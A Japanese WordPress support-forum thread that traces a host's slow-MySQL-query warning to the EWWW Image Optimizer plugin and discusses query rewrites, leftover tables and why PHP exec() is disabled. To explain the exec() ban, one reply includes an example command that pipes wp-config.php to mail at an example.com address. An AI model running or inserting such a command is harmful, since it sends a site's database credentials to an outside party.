サポート » 使い方全般 » MySQLのクエリ最適化について

  • 解決済 saintnature

    (@saintnature)


    はじめまして。

    wordpressでサイトは作っていますが、MySQLについては殆ど知識がない素人です。
    解決方法を必死に探しましたがどうしても見つからないので、お助けください。

    先日、レンタルサーバーからこのようなメールが来たので困っています(海外の無料レンタルサーバーです)

    We have detected that your account サイトURL executed a slow MySQL query.

    Domain: サイトURL
    Username: ********
    MySQL Database: *******
    MySQL User: *******
    MySQL Query: SELECT * FROM information_schema.COLUMNS WHERE TABLE_NAME = ‘wp_ewwwio_images’ AND COLUMN_NAME = ‘te

    Slow MySQL queries are not allowed, because you share server resources with thousands of other users and your long lasting MySQL queries are slowing down the entire server. Please optimize your MySQL queries as soon as possible.

    Here are some good articles how to optimize MySQL queries:
    http://www.google.com/search?q=optimize+mysql+queries

    Good tips how you can optimize your scripts and make our servers run faster:

    – Disable all parts of your website that allows anonymous or unregistered user posting, such as open forums, guestbooks, blog comments. These days automated software fills all open areas of websites with junk and spam content.

    – Disable visitors monitoring and tracking (each move of your visitor makes database query)

    – Disable all unused website modules.

    – Disable internal stats for your website – use http://www.google.com/analytics/ for example.

    – You may also logon to the phpMyAdmin and check which table has the most records. Then, if you think that this table does not contain any valuable information (for example contains logs, stats or cache), you can click on the Empty or Truncate to clean it.

    つまりMySQLのクエリが遅いから最適化しなさい。
    という事のようですが、どこをどう確認して、どのように最適化すればいいのでしょうか?

    それはphpMyAdminでできるのでしょうか?

6件の返信を表示中 - 1 - 6件目 (全6件中)
  • INFORMATION_SCHEMA テーブルは、同じサーバを使っている全てのデータベースの情報が入っているメタテーブルで、WordPress はこんなところにアクセスしません。通常のテーマやプラグインもこんなことはしません。WordPress を経由せず、直接データベースにアクセスしているプログラムがサイトに存在しています。残念ながら、ここでは解決できませんので、サーバ会社に連絡してください。

    「サーバからこんなメールが来た。WordPress フォーラムで聞いたら、クラックされている可能性が高いと言われた。どうしたらいいか」と、サーバ会社にメールを出すのがいいと思います。頑張って英語を書いてください。

    念のため、サイトにアクセスするときには(管理画面も同様です)、ブラウザのタブを全て閉じ、Google+ や、Facebook や、Amazon などからログアウトした状態でサイトを開いてください。

    kjmtsh 様

    お忙しいところありがとうございます。
    サイトがクラックされている可能性があるとのこと・・・
    新しく作ったばかりだったのでショックです…

    サーバー会社に連絡しました。
    始めてのことで不安ですが、なんとか解決していきたいと思います。
    また進展があり次第こちらに報告させていただきます。

    すいません、間違えちゃいました。余計な心配をさせてしまって、申し訳ありません。お許しを。

    INFORMATION_SCHEMA テーブルにアクセスするプラグインを見つけました。まさか、と思いましたが、ありました。EWWW Image Optimizer です。saintnature さん、これ使ってますか? 使っているなら、これが原因です。

    aux-optimize.php の 117 行目に、

    $temp_column = $wpdb->get_var("SELECT * FROM information_schema.COLUMNS WHERE TABLE_NAME = '$wpdb->ewwwio_images' AND COLUMN_NAME = 'temp'");

    こんな部分がありました。まいりました。以下、罪滅ぼしの対策です。

    とはいえ、SQL ステートメントとしてみると、単純なものなので、これを速度アップするのは難しいです。ためしに、

    $temp_column = $wpdb->get_var("SELECT TABLE_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME = '$wpdb->ewwwio_images' AND COLUMN_NAME = 'temp'");

    と書き換えて、SELECT するカラムを限定するか、

    $temp_column = $wpdb->get_var("DESC $wpdb->ewwwio_images temp");

    のように、DESC(または SHOW COLUMNS)を使う形に書き換えてみてください。劇的に速くなる保証はありません。どちらを使っても結果は等価です。後者は、WordPress が データベースをアップグレードするときに使われている記法なので、これで時間がかかりすぎと言われたら、サーバを変えるほかにないかもしれません。

    なお、サーバ会社には、「ミスリーディングな情報に振り回された」と知らせておいてください。重ね重ね申し訳ありません。

    いえいえ、とんでもありません!
    原因がわかっただけで本当に感謝です!!

    「EWWW Image Optimizer」 は、サイトを早くしようと思ってインストールしたプラグインですが、有効化しようとしたら「exec」エラーで使えなかったので(無料サーバーだからでしょうか…)、削除して使っていません。

    ・・・が、FTPで調べてみたら「wp-content」を直下に「ewww」ディレクトリを発見しました。
    これを削除してみましたが、「wp-db-backup」プラグインでバックアップを取ろうとするとデータベーステーブル項目に「wp_ewwwio_images」という項目が表示されています(BackWpupは何故か使えないので2種類を別々にバックアップしています)

    これは、WP本体には「EWWW Image Optimizer」がないけど、データベースにはまだあるということでしょうか?

    EWWW Image Optimizer は、すでに削除されているということなので、問題の SQL は、もう実行されません。そのまま様子を見る、でいいと思います。

    たぶんですが、NextGen Gallery を使っているか、使っていたのではないでしょうか? 内部を見ると、この EWWW Image Optimizer は、NextGen Gallery があると、そのデータを自分のテーブルにインポートするようになっていて(WordPress に限らず、プラグインって、よくこんなことをやります)、その過程で、上の SQL を Ajax 経由で実行するみたいです。

    Ajax というのは、JavaScript と PHP を合わせて動作させる仕組みなのですが、サーバ側で重い処理をしていても、利用者から見ると動作が軽く見えるものなので、サーバ負荷を体感できないのです。

    exec エラーは、次のような理由です。EWWW Image Optimizer は、画像処理の高速化のために、なんと、C 言語で書かれた実行ファイルを動かしています。アーカイブには、各 OS 用のバイナリ実行ファイルが入っていました。有効化するときに、OS を調べて、どれを使うかを決めるのですが、PHP の exec() 関数が使えないと、C の実行ファイルが動かせないので、エラーになります。この関数は、使い方によっては危険なので、サーバ側で使えないようにしているのですね。たとえば、

    exec('cat wp-config.php | mail hoge@example.com');

    とすると、wp-config.php を本文にしたメールが送信できたりするので(このままでは動作しません)、使用禁止ということです。

    データベースに残ったテーブルについて。本来なら、プラグインが無効化、アンインストールされるときに、設定を保存したオプションデータやテーブル(または自分が作ったファイル)を削除するのが作法なのですが、こういったものを放置するプラグインが少なからず存在します。特にオプションデータは、いろいろなプラグインを試しにインストール、アンインストールなどとやっていると、知らない間に肥大化している、ということになりがちです。WordPress 本体は、この面倒を見ません。プラグイン作者を信頼する方針ですから。

    EWWW Image Optimizer は、オプションデータは削除するようですが、残念ながら、自分で作った wp_ewwwio_images テーブルは削除しません。手動で削除して問題ないと思います。操作が心配なら、放っておいても問題はないでしょう。

    データベースに残っていても負担にならないのですね!

    画像系のプラグインは何個も試しては削除したりしたので、もしかしたらNextGen Galleryも入っていたかもしれません(今は入っていません)色々試したときに運悪くEWWW Image Optimizerとかち合ってしまったのかもしれないですね。。

    動作が軽く見えるからと言ってサーバーに負担がないというわけではないんですね。知りませんでした。

    execの禁止もそうだとすると無料サーバーだから…というわけではなさそうですね。
    上記のご説明ですと、有料のサーバーでも使えないところがありそうですが…

    色々と奥が深いなと思いました。

    お忙しいところ、この様にわかりやすい説明をして頂いて本当にありがとうございます!
    お陰様で色々な謎が一気にクリアになりました。

    これからも失敗はあると思いますが、プログラミングへの知識を少しずつ深めていきたいと思います。

6件の返信を表示中 - 1 - 6件目 (全6件中)
  • トピック「MySQLのクエリ最適化について」には新たに返信することはできません。